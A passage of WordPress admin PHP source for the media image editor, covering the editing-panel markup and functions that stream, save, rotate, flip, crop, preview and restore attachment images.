					<button type="button" class="imgedit-rright button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.rotate(-90, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()"><?php esc_html_e( 'Rotate 90&deg; right' ); ?></button>
					<button type="button" class="imgedit-rfull button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.rotate(180, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()"><?php esc_html_e( 'Rotate 180&deg;' ); ?></button>
				<?php
			} else {
				$note_no_rotate = '<p class="note-no-rotate"><em>' . __( 'Image rotation is not supported by your web host.' ) . '</em></p>';
				?>
					<button type="button" class="imgedit-rleft button disabled" disabled></button>
					<button type="button" class="imgedit-rright button disabled" disabled></button>
				<?php
			}
			?>
					<hr />
					<button type="button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.flip(1, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()" class="imgedit-flipv button"><?php esc_html_e( 'Flip vertical' ); ?></button>
					<button type="button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.flip(2, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()" class="imgedit-fliph button"><?php esc_html_e( 'Flip horizontal' ); ?></button>
					<?php echo $note_no_rotate; ?>
				</div>
			</div>
		</div>
		<div class="imgedit-submit imgedit-menu">
			<button type="button" id="image-undo-<?php echo $post_id; ?>" onclick="imageEdit.undo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-undo button disabled" disabled><?php esc_html_e( 'Undo' ); ?></button>
			<button type="button" id="image-redo-<?php echo $post_id; ?>" onclick="imageEdit.redo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-redo button disabled" disabled><?php esc_html_e( 'Redo' ); ?></button>
			<button type="button" onclick="imageEdit.close(<?php echo $post_id; ?>, 1)" class="button imgedit-cancel-btn"><?php esc_html_e( 'Cancel Editing' ); ?></button>
			<button type="button" onclick="imageEdit.save(<?php echo "$post_id, '$nonce'"; ?>)" disabled="disabled" class="button button-primary imgedit-submit-btn"><?php esc_html_e( 'Save Edits' ); ?></button>
		</div>
	</div>

	<div class="imgedit-panel-content wp-clearfix">
		<div class="imgedit-tools">
			<input type="hidden" id="imgedit-nonce-<?php echo $post_id; ?>" value="<?php echo $nonce; ?>" />
			<input type="hidden" id="imgedit-sizer-<?php echo $post_id; ?>" value="<?php echo $sizer; ?>" />
			<input type="hidden" id="imgedit-history-<?php echo $post_id; ?>" value="" />
			<input type="hidden" id="imgedit-undone-<?php echo $post_id; ?>" value="0" />
			<input type="hidden" id="imgedit-selection-<?php echo $post_id; ?>" value="" />
			<input type="hidden" id="imgedit-x-<?php echo $post_id; ?>" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
			<input type="hidden" id="imgedit-y-<?php echo $post_id; ?>" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />

			<div id="imgedit-crop-<?php echo $post_id; ?>" class="imgedit-crop-wrap">
			<div class="imgedit-crop-grid"></div>
			<img id="image-preview-<?php echo $post_id; ?>" onload="imageEdit.imgLoaded('<?php echo $post_id; ?>')"
				src="<?php echo esc_url( admin_url( 'admin-ajax.php', 'relative' ) ) . '?action=imgedit-preview&amp;_ajax_nonce=' . $nonce . '&amp;postid=' . $post_id . '&amp;rand=' . rand( 1, 99999 ); ?>" alt="" />
			</div>
		</div>
		<div class="imgedit-settings">
			<div class="imgedit-tool-active">
				<div class="imgedit-group">
				<div id="imgedit-scale" tabindex="-1" class="imgedit-group-controls">
					<div class="imgedit-group-top">
						<h2><?php _e( 'Scale Image' ); ?></h2>
						<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);" aria-expanded="false"><span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						esc_html_e( 'Scale Image Help' );
						?>
						</span></button>
						<div class="imgedit-help">
						<p><?php _e( 'You can proportionally scale the original image. For best results, scaling should be done before you crop, flip, or rotate. Images can only be scaled down, not up.' ); ?></p>
						</div>
						<?php if ( isset( $meta['width'], $meta['height'] ) ) : ?>
						<p>
							<?php
							printf(
								/* translators: %s: Image width and height in pixels. */
								__( 'Original dimensions %s' ),
								'<span class="imgedit-original-dimensions">' . $meta['width'] . ' &times; ' . $meta['height'] . '</span>'
							);
							?>
						</p>
						<?php endif; ?>
						<div class="imgedit-submit">
						<fieldset class="imgedit-scale-controls">
							<legend><?php _e( 'New dimensions:' ); ?></legend>
							<div class="nowrap">
							<label for="imgedit-scale-width-<?php echo $post_id; ?>" class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'scale height' );
							?>
							</label>
							<input type="number" step="1" min="0" max="<?php echo isset( $meta['width'] ) ? $meta['width'] : ''; ?>" aria-describedby="imgedit-scale-warn-<?php echo $post_id; ?>"  id="imgedit-scale-width-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1, this)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1, this)" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
							<span class="imgedit-separator" aria-hidden="true">&times;</span>
							<label for="imgedit-scale-height-<?php echo $post_id; ?>" class="screen-reader-text"><?php _e( 'scale height' ); ?></label>
							<input type="number" step="1" min="0" max="<?php echo isset( $meta['height'] ) ? $meta['height'] : ''; ?>" aria-describedby="imgedit-scale-warn-<?php echo $post_id; ?>" id="imgedit-scale-height-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0, this)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0, this)" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />
							<button id="imgedit-scale-button" type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'scale')" class="button button-primary"><?php esc_html_e( 'Scale' ); ?></button>
							<span class="imgedit-scale-warn" id="imgedit-scale-warn-<?php echo $post_id; ?>"><span class="dashicons dashicons-warning" aria-hidden="true"></span><?php esc_html_e( 'Images cannot be scaled to a size larger than the original.' ); ?></span>
							</div>
						</fieldset>
						</div>
					</div>
				</div>
			</div>

		<?php if ( $can_restore ) { ?>
				<div class="imgedit-group">
				<div class="imgedit-group-top">
					<h2><button type="button" onclick="imageEdit.toggleHelp(this);" class="button-link" aria-expanded="false"><?php _e( 'Restore original image' ); ?> <span class="dashicons dashicons-arrow-down imgedit-help-toggle"></span></button></h2>
					<div class="imgedit-help imgedit-restore">
					<p>
					<?php
					_e( 'Discard any changes and restore the original image.' );
					if ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE ) {
						echo ' ' . __( 'Previously edited copies of the image will not be deleted.' );
					}
					?>
					</p>
					<div class="imgedit-submit">
						<input type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'restore')" class="button button-primary" value="<?php esc_attr_e( 'Restore image' ); ?>" <?php echo $can_restore; ?> />
					</div>
				</div>
			</div>
			</div>
		<?php } ?>
			<div class="imgedit-group">
				<div id="imgedit-crop" tabindex="-1" class="imgedit-group-controls">
				<div class="imgedit-group-top">
					<h2><?php _e( 'Crop Image' ); ?></h2>
					<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);" aria-expanded="false"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Image Crop Help' );
					?>
					</span></button>
					<div class="imgedit-help">
						<p><?php _e( 'To crop the image, click on it and drag to make your selection.' ); ?></p>
						<p><strong><?php _e( 'Crop Aspect Ratio' ); ?></strong><br />
						<?php _e( 'The aspect ratio is the relationship between the width and height. You can preserve the aspect ratio by holding down the shift key while resizing your selection. Use the input box to specify the aspect ratio, e.g. 1:1 (square), 4:3, 16:9, etc.' ); ?></p>

						<p><strong><?php _e( 'Crop Selection' ); ?></strong><br />
						<?php _e( 'Once you have made your selection, you can adjust it by entering the size in pixels. The minimum selection size is the thumbnail size as set in the Media settings.' ); ?></p>
					</div>
				</div>
				<fieldset class="imgedit-crop-ratio">
					<legend><?php _e( 'Aspect ratio:' ); ?></legend>
					<div class="nowrap">
					<label for="imgedit-crop-width-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'crop ratio width' );
					?>
					</label>
					<input type="number" step="1" min="1" id="imgedit-crop-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" onblur="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" />
					<span class="imgedit-separator" aria-hidden="true">:</span>
					<label for="imgedit-crop-height-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'crop ratio height' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-crop-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" onblur="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" />
					</div>
				</fieldset>
				<fieldset id="imgedit-crop-sel-<?php echo $post_id; ?>" class="imgedit-crop-sel">
					<legend><?php _e( 'Selection:' ); ?></legend>
					<div class="nowrap">
					<label for="imgedit-sel-width-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'selection width' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-sel-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" />
					<span class="imgedit-separator" aria-hidden="true">&times;</span>
					<label for="imgedit-sel-height-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'selection height' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-sel-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" />
					</div>
				</fieldset>
				<fieldset id="imgedit-crop-sel-<?php echo $post_id; ?>" class="imgedit-crop-sel">
					<legend><?php _e( 'Starting Coordinates:' ); ?></legend>
					<div class="nowrap">
					<label for="imgedit-start-x-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'horizontal start position' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-start-x-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" value="0" />
					<span class="imgedit-separator" aria-hidden="true">&times;</span>
					<label for="imgedit-start-y-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'vertical start position' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-start-y-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" value="0" />
					</div>
				</fieldset>
				<div class="imgedit-crop-apply imgedit-menu container">
					<button class="button-primary" type="button" onclick="imageEdit.handleCropToolClick( <?php echo "$post_id, '$nonce'"; ?>, this );" class="imgedit-crop-apply button"><?php esc_html_e( 'Apply Crop' ); ?></button> <button type="button" onclick="imageEdit.handleCropToolClick( <?php echo "$post_id, '$nonce'"; ?>, this );" class="imgedit-crop-clear button" disabled="disabled"><?php esc_html_e( 'Clear Crop' ); ?></button>
				</div>
			</div>
		</div>
	</div>

	<?php
	if ( $edit_thumbnails_separately && $thumb && $sub_sizes ) {
		$thumb_img = wp_constrain_dimensions( $thumb['width'], $thumb['height'], 160, 120 );
		?>

	<div class="imgedit-group imgedit-applyto">
		<div class="imgedit-group-top">
			<h2><?php _e( 'Thumbnail Settings' ); ?></h2>
			<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);" aria-expanded="false"><span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			esc_html_e( 'Thumbnail Settings Help' );
			?>
			</span></button>
			<div class="imgedit-help">
			<p><?php _e( 'You can edit the image while preserving the thumbnail. For example, you may wish to have a square thumbnail that displays just a section of the image.' ); ?></p>
			</div>
		</div>
		<div class="imgedit-thumbnail-preview-group">
			<figure class="imgedit-thumbnail-preview">
				<img src="<?php echo $thumb['url']; ?>" width="<?php echo $thumb_img[0]; ?>" height="<?php echo $thumb_img[1]; ?>" class="imgedit-size-preview" alt="" draggable="false" />
				<figcaption class="imgedit-thumbnail-preview-caption"><?php _e( 'Current thumbnail' ); ?></figcaption>
			</figure>
			<div id="imgedit-save-target-<?php echo $post_id; ?>" class="imgedit-save-target">
			<fieldset>
				<legend><?php _e( 'Apply changes to:' ); ?></legend>

				<span class="imgedit-label">
					<input type="radio" id="imgedit-target-all" name="imgedit-target-<?php echo $post_id; ?>" value="all" checked="checked" />
					<label for="imgedit-target-all"><?php _e( 'All image sizes' ); ?></label>
				</span>

				<span class="imgedit-label">
					<input type="radio" id="imgedit-target-thumbnail" name="imgedit-target-<?php echo $post_id; ?>" value="thumbnail" />
					<label for="imgedit-target-thumbnail"><?php _e( 'Thumbnail' ); ?></label>
				</span>

				<span class="imgedit-label">
					<input type="radio" id="imgedit-target-nothumb" name="imgedit-target-<?php echo $post_id; ?>" value="nothumb" />
					<label for="imgedit-target-nothumb"><?php _e( 'All sizes except thumbnail' ); ?></label>
				</span>

				</fieldset>
			</div>
		</div>
	</div>
	<?php } ?>
		</div>
	</div>

	</div>

	<div class="imgedit-wait" id="imgedit-wait-<?php echo $post_id; ?>"></div>
	<div class="hidden" id="imgedit-leaving-<?php echo $post_id; ?>"><?php _e( "There are unsaved changes that will be lost. 'OK' to continue, 'Cancel' to return to the Image Editor." ); ?></div>
	</div>
	<?php
}

/**
 * Streams image in WP_Image_Editor to browser.
 *
 * @since 2.9.0
 *
 * @param WP_Image_Editor $image         The image editor instance.
 * @param string          $mime_type     The mime type of the image.
 * @param int             $attachment_id The image's attachment post ID.
 * @return bool True on success, false on failure.
 */
function wp_stream_image( $image, $mime_type, $attachment_id ) {
	if ( $image instanceof WP_Image_Editor ) {

		/**
		 * Filters the WP_Image_Editor instance for the image to be streamed to the browser.
		 *
		 * @since 3.5.0
		 *
		 * @param WP_Image_Editor $image         The image editor instance.
		 * @param int             $attachment_id The attachment post ID.
		 */
		$image = apply_filters( 'image_editor_save_pre', $image, $attachment_id );

		if ( is_wp_error( $image->stream( $mime_type ) ) ) {
			return false;
		}

		return true;
	} else {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );

		/**
		 * Filters the GD image resource to be streamed to the browser.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'image_editor_save_pre'} instead.
		 *
		 * @param resource|GdImage $image         Image resource to be streamed.
		 * @param int              $attachment_id The attachment post ID.
		 */
		$image = apply_filters_deprecated( 'image_save_pre', array( $image, $attachment_id ), '3.5.0', 'image_editor_save_pre' );

		switch ( $mime_type ) {
			case 'image/jpeg':
				header( 'Content-Type: image/jpeg' );
				return imagejpeg( $image, null, 90 );
			case 'image/png':
				header( 'Content-Type: image/png' );
				return imagepng( $image );
			case 'image/gif':
				header( 'Content-Type: image/gif' );
				return imagegif( $image );
			case 'image/webp':
				if ( function_exists( 'imagewebp' ) ) {
					header( 'Content-Type: image/webp' );
					return imagewebp( $image, null, 90 );
				}
				return false;
			case 'image/avif':
				if ( function_exists( 'imageavif' ) ) {
					header( 'Content-Type: image/avif' );
					return imageavif( $image, null, 90 );
				}
				return false;
			default:
				return false;
		}
	}
}

/**
 * Saves image to file.
 *
 * @since 2.9.0
 * @since 3.5.0 The `$image` parameter expects a `WP_Image_Editor` instance.
 * @since 6.0.0 The `$filesize` value was added to the returned array.
 *
 * @param string          $filename  Name of the file to be saved.
 * @param WP_Image_Editor $image     The image editor instance.
 * @param string          $mime_type The mime type of the image.
 * @param int             $post_id   Attachment post ID.
 * @return array|WP_Error|bool {
 *     Array on success or WP_Error if the file failed to save.
 *     When called with a deprecated value for the `$image` parameter,
 *     i.e. a non-`WP_Image_Editor` image resource or `GdImage` instance,
 *     the function will return true on success, false on failure.
 *
 *     @type string $path      Path to the image file.
 *     @type string $file      Name of the image file.
 *     @type int    $width     Image width.
 *     @type int    $height    Image height.
 *     @type string $mime-type The mime type of the image.
 *     @type int    $filesize  File size of the image.
 * }
 */
function wp_save_image_file( $filename, $image, $mime_type, $post_id ) {
	if ( $image instanceof WP_Image_Editor ) {

		/** This filter is documented in wp-admin/includes/image-edit.php */
		$image = apply_filters( 'image_editor_save_pre', $image, $post_id );

		/**
		 * Filters whether to skip saving the image file.
		 *
		 * Returning a non-null value will short-circuit the save method,
		 * returning that value instead.
		 *
		 * @since 3.5.0
		 *
		 * @param bool|null       $override  Value to return instead of saving. Default null.
		 * @param string          $filename  Name of the file to be saved.
		 * @param WP_Image_Editor $image     The image editor instance.
		 * @param string          $mime_type The mime type of the image.
		 * @param int             $post_id   Attachment post ID.
		 */
		$saved = apply_filters( 'wp_save_image_editor_file', null, $filename, $image, $mime_type, $post_id );

		if ( null !== $saved ) {
			return $saved;
		}

		return $image->save( $filename, $mime_type );
	} else {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );

		/** This filter is documented in wp-admin/includes/image-edit.php */
		$image = apply_filters_deprecated( 'image_save_pre', array( $image, $post_id ), '3.5.0', 'image_editor_save_pre' );

		/**
		 * Filters whether to skip saving the image file.
		 *
		 * Returning a non-null value will short-circuit the save method,
		 * returning that value instead.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'wp_save_image_editor_file'} instead.
		 *
		 * @param bool|null        $override  Value to return instead of saving. Default null.
		 * @param string           $filename  Name of the file to be saved.
		 * @param resource|GdImage $image     Image resource or GdImage instance.
		 * @param string           $mime_type The mime type of the image.
		 * @param int              $post_id   Attachment post ID.
		 */
		$saved = apply_filters_deprecated(
			'wp_save_image_file',
			array( null, $filename, $image, $mime_type, $post_id ),
			'3.5.0',
			'wp_save_image_editor_file'
		);

		if ( null !== $saved ) {
			return $saved;
		}

		switch ( $mime_type ) {
			case 'image/jpeg':
				/** This filter is documented in wp-includes/class-wp-image-editor.php */
				return imagejpeg( $image, $filename, apply_filters( 'jpeg_quality', 90, 'edit_image' ) );
			case 'image/png':
				return imagepng( $image, $filename );
			case 'image/gif':
				return imagegif( $image, $filename );
			case 'image/webp':
				if ( function_exists( 'imagewebp' ) ) {
					return imagewebp( $image, $filename );
				}
				return false;
			case 'image/avif':
				if ( function_exists( 'imageavif' ) ) {
					return imageavif( $image, $filename );
				}
				return false;
			default:
				return false;
		}
	}
}

/**
 * Image preview ratio. Internal use only.
 *
 * @since 2.9.0
 *
 * @ignore
 * @param int $w Image width in pixels.
 * @param int $h Image height in pixels.
 * @return float|int Image preview ratio.
 */
function _image_get_preview_ratio( $w, $h ) {
	$max = max( $w, $h );
	return $max > 600 ? ( 600 / $max ) : 1;
}

/**
 * Returns an image resource. Internal use only.
 *
 * @since 2.9.0
 * @deprecated 3.5.0 Use WP_Image_Editor::rotate()
 * @see WP_Image_Editor::rotate()
 *
 * @ignore
 * @param resource|GdImage  $img   Image resource.
 * @param float|int         $angle Image rotation angle, in degrees.
 * @return resource|GdImage|false GD image resource or GdImage instance, false otherwise.
 */
function _rotate_image_resource( $img, $angle ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::rotate()' );

	if ( function_exists( 'imagerotate' ) ) {
		$rotated = imagerotate( $img, $angle, 0 );

		if ( is_gd_image( $rotated ) ) {
			imagedestroy( $img );
			$img = $rotated;
		}
	}

	return $img;
}

/**
 * Flips an image resource. Internal use only.
 *
 * @since 2.9.0
 * @deprecated 3.5.0 Use WP_Image_Editor::flip()
 * @see WP_Image_Editor::flip()
 *
 * @ignore
 * @param resource|GdImage $img  Image resource or GdImage instance.
 * @param bool             $horz Whether to flip horizontally.
 * @param bool             $vert Whether to flip vertically.
 * @return resource|GdImage (maybe) flipped image resource or GdImage instance.
 */
function _flip_image_resource( $img, $horz, $vert ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::flip()' );

	$w   = imagesx( $img );
	$h   = imagesy( $img );
	$dst = wp_imagecreatetruecolor( $w, $h );

	if ( is_gd_image( $dst ) ) {
		$sx = $vert ? ( $w - 1 ) : 0;
		$sy = $horz ? ( $h - 1 ) : 0;
		$sw = $vert ? -$w : $w;
		$sh = $horz ? -$h : $h;

		if ( imagecopyresampled( $dst, $img, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) {
			imagedestroy( $img );
			$img = $dst;
		}
	}

	return $img;
}

/**
 * Crops an image resource. Internal use only.
 *
 * @since 2.9.0
 *
 * @ignore
 * @param resource|GdImage $img Image resource or GdImage instance.
 * @param float            $x   Source point x-coordinate.
 * @param float            $y   Source point y-coordinate.
 * @param float            $w   Source width.
 * @param float            $h   Source height.
 * @return resource|GdImage (maybe) cropped image resource or GdImage instance.
 */
function _crop_image_resource( $img, $x, $y, $w, $h ) {
	$dst = wp_imagecreatetruecolor( $w, $h );

	if ( is_gd_image( $dst ) ) {
		if ( imagecopy( $dst, $img, 0, 0, $x, $y, $w, $h ) ) {
			imagedestroy( $img );
			$img = $dst;
		}
	}

	return $img;
}

/**
 * Performs group of changes on Editor specified.
 *
 * @since 2.9.0
 *
 * @param WP_Image_Editor $image   WP_Image_Editor instance.
 * @param array           $changes Array of change operations.
 * @return WP_Image_Editor WP_Image_Editor instance with changes applied.
 */
function image_edit_apply_changes( $image, $changes ) {
	if ( is_gd_image( $image ) ) {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );
	}

	if ( ! is_array( $changes ) ) {
		return $image;
	}

	// Expand change operations.
	foreach ( $changes as $key => $obj ) {
		if ( isset( $obj->r ) ) {
			$obj->type  = 'rotate';
			$obj->angle = $obj->r;
			unset( $obj->r );
		} elseif ( isset( $obj->f ) ) {
			$obj->type = 'flip';
			$obj->axis = $obj->f;
			unset( $obj->f );
		} elseif ( isset( $obj->c ) ) {
			$obj->type = 'crop';
			$obj->sel  = $obj->c;
			unset( $obj->c );
		}

		$changes[ $key ] = $obj;
	}

	// Combine operations.
	if ( count( $changes ) > 1 ) {
		$filtered = array( $changes[0] );

		for ( $i = 0, $j = 1, $c = count( $changes ); $j < $c; $j++ ) {
			$combined = false;

			if ( $filtered[ $i ]->type === $changes[ $j ]->type ) {
				switch ( $filtered[ $i ]->type ) {
					case 'rotate':
						$filtered[ $i ]->angle += $changes[ $j ]->angle;
						$combined               = true;
						break;
					case 'flip':
						$filtered[ $i ]->axis ^= $changes[ $j ]->axis;
						$combined              = true;
						break;
				}
			}

			if ( ! $combined ) {
				$filtered[ ++$i ] = $changes[ $j ];
			}
		}

		$changes = $filtered;
		unset( $filtered );
	}

	// Image resource before applying the changes.
	if ( $image instanceof WP_Image_Editor ) {

		/**
		 * Filters the WP_Image_Editor instance before applying changes to the image.
		 *
		 * @since 3.5.0
		 *
		 * @param WP_Image_Editor $image   WP_Image_Editor instance.
		 * @param array           $changes Array of change operations.
		 */
		$image = apply_filters( 'wp_image_editor_before_change', $image, $changes );
	} elseif ( is_gd_image( $image ) ) {

		/**
		 * Filters the GD image resource before applying changes to the image.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'wp_image_editor_before_change'} instead.
		 *
		 * @param resource|GdImage $image   GD image resource or GdImage instance.
		 * @param array            $changes Array of change operations.
		 */
		$image = apply_filters_deprecated( 'image_edit_before_change', array( $image, $changes ), '3.5.0', 'wp_image_editor_before_change' );
	}

	foreach ( $changes as $operation ) {
		switch ( $operation->type ) {
			case 'rotate':
				if ( 0 !== $operation->angle ) {
					if ( $image instanceof WP_Image_Editor ) {
						$image->rotate( $operation->angle );
					} else {
						$image = _rotate_image_resource( $image, $operation->angle );
					}
				}
				break;
			case 'flip':
				if ( 0 !== $operation->axis ) {
					if ( $image instanceof WP_Image_Editor ) {
						$image->flip( ( $operation->axis & 1 ) !== 0, ( $operation->axis & 2 ) !== 0 );
					} else {
						$image = _flip_image_resource( $image, ( $operation->axis & 1 ) !== 0, ( $operation->axis & 2 ) !== 0 );
					}
				}
				break;
			case 'crop':
				$sel = $operation->sel;

				if ( $image instanceof WP_Image_Editor ) {
					$size = $image->get_size();
					$w    = $size['width'];
					$h    = $size['height'];

					$scale = 1 / _image_get_preview_ratio( $w, $h ); // Discard preview scaling.
					$image->crop( $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
				} else {
					$scale = 1 / _image_get_preview_ratio( imagesx( $image ), imagesy( $image ) ); // Discard preview scaling.
					$image = _crop_image_resource( $image, $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
				}
				break;
		}
	}

	return $image;
}


/**
 * Streams image in post to browser, along with enqueued changes
 * in `$_REQUEST['history']`.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return bool True on success, false on failure.
 */
function stream_preview_image( $post_id ) {
	$post = get_post( $post_id );

	wp_raise_memory_limit( 'admin' );

	$img = wp_get_image_editor( _load_image_to_edit_path( $post_id ) );

	if ( is_wp_error( $img ) ) {
		return false;
	}

	$changes = ! empty( $_REQUEST['history'] ) ? json_decode( wp_unslash( $_REQUEST['history'] ) ) : null;
	if ( $changes ) {
		$img = image_edit_apply_changes( $img, $changes );
	}

	// Scale the image.
	$size = $img->get_size();
	$w    = $size['width'];
	$h    = $size['height'];

	$ratio = _image_get_preview_ratio( $w, $h );
	$w2    = max( 1, $w * $ratio );
	$h2    = max( 1, $h * $ratio );

	if ( is_wp_error( $img->resize( $w2, $h2 ) ) ) {
		return false;
	}

	return wp_stream_image( $img, $post->post_mime_type, $post_id );
}

/**
 * Restores the metadata for a given attachment.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return stdClass Image restoration message object.
 */
function wp_restore_image( $post_id ) {
	$meta             = wp_get_attachment_metadata( $post_id );
	$file             = get_attached_file( $post_id );
	$backup_sizes     = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
	$old_backup_sizes = $backup_sizes;
	$restored         = false;
	$msg              = new stdClass();

	if ( ! is_array( $backup_sizes ) ) {
		$msg->error = __( 'Cannot load image metadata.' );
		return $msg;
	}

	$parts         = pathinfo( $file );
	$suffix        = time() . rand( 100, 999 );
	$default_sizes = get_intermediate_image_sizes();

	if ( isset( $backup_sizes['full-orig'] ) && is_array( $backup_sizes['full-orig'] ) ) {
		$data = $backup_sizes['full-orig'];

		if ( $parts['basename'] !== $data['file'] ) {
			if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) {
				// Delete only if it's an edited image.
				if ( preg_match( '/-e[0-9]{13}\./', $parts['basename'] ) ) {
					wp_delete_file( $file );
				}
			} elseif ( isset( $meta['width'], $meta['height'] ) ) {
				$backup_sizes[ "full-$suffix" ] = array(
					'width'  => $meta['width'],
					'height' => $meta['height'],
					'file'   => $parts['basename'],
				);
			}
		}

		$restored_file = path_join( $parts['dirname'], $data['file'] );
		$restored      = update_attached_file( $post_id, $restored_file );

		$meta['file']   = _wp_relative_upload_path( $restored_file );
		$meta['width']  = $data['width'];
		$meta['height'] = $data['height'];
	}

	foreach ( $default_sizes as $default_size ) {
		if ( isset( $backup_sizes[ "$default_size-orig" ] ) ) {
			$data = $backup_sizes[ "$default_size-orig" ];

			if ( isset( $meta['sizes'][ $default_size ] ) && $meta['sizes'][ $default_size ]['file'] !== $data['file'] ) {
				if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) {
					// Delete only if it's an edited image.
					if ( preg_match( '/-e[0-9]{13}-/', $meta['sizes'][ $default_size ]['file'] ) ) {
						$delete_file = path_join( $parts['dirname'], $meta['sizes'][ $default_size ]['file'] );
						wp_delete_file( $delete_file );
					}
				} else {
					$backup_sizes[ "$default_size-{$suffix}" ] = $meta['sizes'][ $default_size ];
				}
			}

			$meta['sizes'][ $default_size ] = $data;
		} else {
			unset( $meta['sizes'][ $default_size ] );
		}
	}

	if ( ! wp_update_attachment_metadata( $post_id, $meta )
		|| ( $old_backup_sizes !== $backup_sizes && ! update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes ) )
	) {
		$msg->error = __( 'Cannot save image metadata.' );
		return $msg;
	}

	if ( ! $restored ) {
		$msg->error = __( 'Image metadata is inconsistent.' );
	} else {
		$msg->msg = __( 'Image restored successfully.' );

		if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) {
			delete_post_meta( $post_id, '_wp_attachment_backup_sizes' );
		}
	}

	return $msg;
}

/**
 * Saves image to post, along with enqueued changes
 * in `$_REQUEST['history']`.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return stdClass
 */
function wp_save_image( $post_id ) {
	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

